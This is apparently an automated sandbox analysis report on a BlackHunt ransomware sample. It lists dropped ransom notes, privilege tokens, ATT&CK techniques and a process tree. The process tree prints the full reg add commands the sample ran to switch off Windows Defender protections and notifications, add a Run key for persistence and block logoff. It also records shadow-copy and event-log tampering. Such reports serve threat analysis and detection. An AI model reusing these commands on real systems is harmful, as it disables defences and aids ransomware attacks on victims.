File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derby.jar	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\#BlackHunt_ReadMe.txt	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Sao_Paulo	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\vlc.mo	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\#BlackHunt_ReadMe.hta	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\203x8subpicture.png	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#BlackHunt_Private.key	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\logger\#BlackHunt_Private.key	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-back-static.png	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net_1.2.200.v20140124-2013.jar	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Belem	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.hta	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\tet\LC_MESSAGES\vlc.mo	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\cmm\LINEAR_RGB.pf	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Africa\El_Aaiun	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\#BlackHunt_Private.key	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\NavigationLeft_SelectionSubpicture.png	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\javaws.policy	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Sofia	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-sampler_zh_CN.jar	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app.nl_ja_4.4.0.v20140623020002.jar	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_zh_CN.jar	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-threaddump_zh_CN.jar	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\misc\#BlackHunt_Private.key	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\#BlackHunt_ReadMe.txt	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\#BlackHunt_ReadMe.hta	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\1047x576black.png	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\#BlackHunt_ReadMe.txt	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\js\#BlackHunt_ReadMe.txt	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\video_output\#BlackHunt_ReadMe.txt	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fa.txt	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.RSA	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.components.ui_5.5.0.165303.jar	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_Private.key	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\vlc.mo	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\#BlackHunt_ReadMe.hta	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\meta-index	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\org-openide-filesystems_ja.jar	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Antarctica\Syowa	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\#BlackHunt_ReadMe.txt	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#BlackHunt_ReadMe.hta	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\#BlackHunt_ReadMe.hta	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\reflect.png	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1152	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1604	vssadmin.exe
4040	vssadmin.exe
1868	vssadmin.exe
2528	vssadmin.exe
2004	vssadmin.exe
1032	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4280	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4264	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
4404	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
Token: SeRestorePrivilege	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
Token: SeBackupPrivilege	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
Token: SeTakeOwnershipPrivilege	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
Token: SeAuditPrivilege	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
Token: SeSecurityPrivilege	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
Token: SeIncBasePriorityPrivilege	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
Token: SeBackupPrivilege	1484	vssvc.exe
Token: SeRestorePrivilege	1484	vssvc.exe
Token: SeAuditPrivilege	1484	vssvc.exe
Token: SeBackupPrivilege	1280	wbengine.exe
Token: SeRestorePrivilege	1280	wbengine.exe
Token: SeSecurityPrivilege	1280	wbengine.exe
Token: SeSecurityPrivilege	4104	wevtutil.exe
Token: SeBackupPrivilege	4104	wevtutil.exe
Token: SeSecurityPrivilege	4100	wevtutil.exe
Token: SeBackupPrivilege	4100	wevtutil.exe
Token: SeSecurityPrivilege	3008	wevtutil.exe
Token: SeSecurityPrivilege	4288	wevtutil.exe
Token: SeBackupPrivilege	3008	wevtutil.exe
Token: SeBackupPrivilege	4288	wevtutil.exe
Token: SeSecurityPrivilege	4196	wevtutil.exe
Token: SeBackupPrivilege	4196	wevtutil.exe
Token: SeDebugPrivilege	4280	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 1312	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	29
PID 2280 wrote to memory of 1312	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	29
PID 2280 wrote to memory of 1312	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	29
PID 2280 wrote to memory of 1312	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	29
PID 2280 wrote to memory of 2704	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	30
PID 2280 wrote to memory of 2704	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	30
PID 2280 wrote to memory of 2704	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	30
PID 2280 wrote to memory of 2704	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	30
PID 2280 wrote to memory of 2780	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	33
PID 2280 wrote to memory of 2780	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	33
PID 2280 wrote to memory of 2780	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	33
PID 2280 wrote to memory of 2780	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	33
PID 2280 wrote to memory of 2816	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	34
PID 2280 wrote to memory of 2816	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	34
PID 2280 wrote to memory of 2816	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	34
PID 2280 wrote to memory of 2816	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	34
PID 2280 wrote to memory of 2720	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	36
PID 2280 wrote to memory of 2720	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	36
PID 2280 wrote to memory of 2720	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	36
PID 2280 wrote to memory of 2720	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	36
PID 2280 wrote to memory of 2832	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	39
PID 2280 wrote to memory of 2832	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	39
PID 2280 wrote to memory of 2832	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	39
PID 2280 wrote to memory of 2832	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	39
PID 2280 wrote to memory of 2680	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	40
PID 2280 wrote to memory of 2680	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	40
PID 2280 wrote to memory of 2680	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	40
PID 2280 wrote to memory of 2680	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	40
PID 2280 wrote to memory of 2748	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	42
PID 2280 wrote to memory of 2748	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	42
PID 2280 wrote to memory of 2748	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	42
PID 2280 wrote to memory of 2748	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	42
PID 2280 wrote to memory of 2596	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	43
PID 2280 wrote to memory of 2596	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	43
PID 2280 wrote to memory of 2596	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	43
PID 2280 wrote to memory of 2596	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	43
PID 1312 wrote to memory of 2872	1312	cmd.exe	47
PID 1312 wrote to memory of 2872	1312	cmd.exe	47
PID 1312 wrote to memory of 2872	1312	cmd.exe	47
PID 2704 wrote to memory of 2584	2704	cmd.exe	45
PID 2704 wrote to memory of 2584	2704	cmd.exe	45
PID 2704 wrote to memory of 2584	2704	cmd.exe	45
PID 2816 wrote to memory of 2732	2816	cmd.exe	46
PID 2816 wrote to memory of 2732	2816	cmd.exe	46
PID 2816 wrote to memory of 2732	2816	cmd.exe	46
PID 2720 wrote to memory of 2000	2720	cmd.exe	48
PID 2720 wrote to memory of 2000	2720	cmd.exe	48
PID 2720 wrote to memory of 2000	2720	cmd.exe	48
PID 2280 wrote to memory of 2728	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	49
PID 2280 wrote to memory of 2728	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	49
PID 2280 wrote to memory of 2728	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	49
PID 2280 wrote to memory of 2728	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	49
PID 2280 wrote to memory of 2676	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	51
PID 2280 wrote to memory of 2676	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	51
PID 2280 wrote to memory of 2676	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	51
PID 2280 wrote to memory of 2676	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	51
PID 2280 wrote to memory of 2564	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	52
PID 2280 wrote to memory of 2564	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	52
PID 2280 wrote to memory of 2564	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	52
PID 2280 wrote to memory of 2564	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	52
PID 2280 wrote to memory of 2580	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	54
PID 2280 wrote to memory of 2580	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	54
PID 2280 wrote to memory of 2580	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	54
PID 2280 wrote to memory of 2580	2280	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe	54

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe
"C:\Users\Admin\AppData\Local\Temp\37152d5b97e12075a7c6e42d0b735af6fffc0a3bb1c6fb688dcdce0406c18f0d.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1312
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:2664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:3028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2564
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2976
- - C:\Windows\system32\reg.exe
